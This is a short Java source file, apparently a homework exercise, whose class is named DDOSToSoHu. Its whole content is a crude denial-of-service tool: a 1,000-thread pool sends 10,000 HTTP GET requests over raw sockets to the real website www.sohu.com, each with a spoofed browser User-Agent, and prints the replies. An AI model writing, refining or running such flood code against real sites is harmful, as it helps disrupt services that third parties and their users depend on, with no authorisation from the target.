package homework0713;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.Socket;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class DDOSToSoHu {

	public static void main(String[] args) {
		ExecutorService es = Executors.newFixedThreadPool(1000);
		for (int i = 0; i < 10000; i++) {
			es.execute(new DDOSToSoHoThread());
		}
		// es.execute(new DDOSToSoHoThread());
	}

}

class DDOSToSoHoThread implements Runnable {

	@Override
	public void run() {
		// TODO Auto-generated method stub
		try {
			Socket socket = new Socket("www.sohu.com", 80);
			System.out.println("连接搜狐");
			OutputStream out = socket.getOutputStream();
			InputStream in = socket.getInputStream();
			String str = "";
			StringBuffer stringBuffer = new StringBuffer();
			stringBuffer.append("GET / HTTP/1.1 \r\n");
			stringBuffer.append("Host: www.sohu.com \r\n");
			// stringBuffer.append("Connection: keep-alive \r\n");
			// stringBuffer.append("text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n");
			stringBuffer.append(
					"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\n");
			// stringBuffer.append("Chrome/30.0.1599.101 Safari/537.36 \r\n");
			// stringBuffer.append("Accept-Encoding: gzip,deflate,sdch \r\n");
			// stringBuffer.append("Accept-Language: zh-CN,zh;q=0.8\n");
			out.write(stringBuffer.toString().getBytes());
			out.write("\r\n".toString().getBytes());
			out.flush();
			// System.out.println(stringBuffer.toString());
			BufferedReader reader = new BufferedReader(new InputStreamReader(in, "gbk"));
			while ((str = reader.readLine()) != null) {
				System.out.println(str);
			}

			socket.close();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

}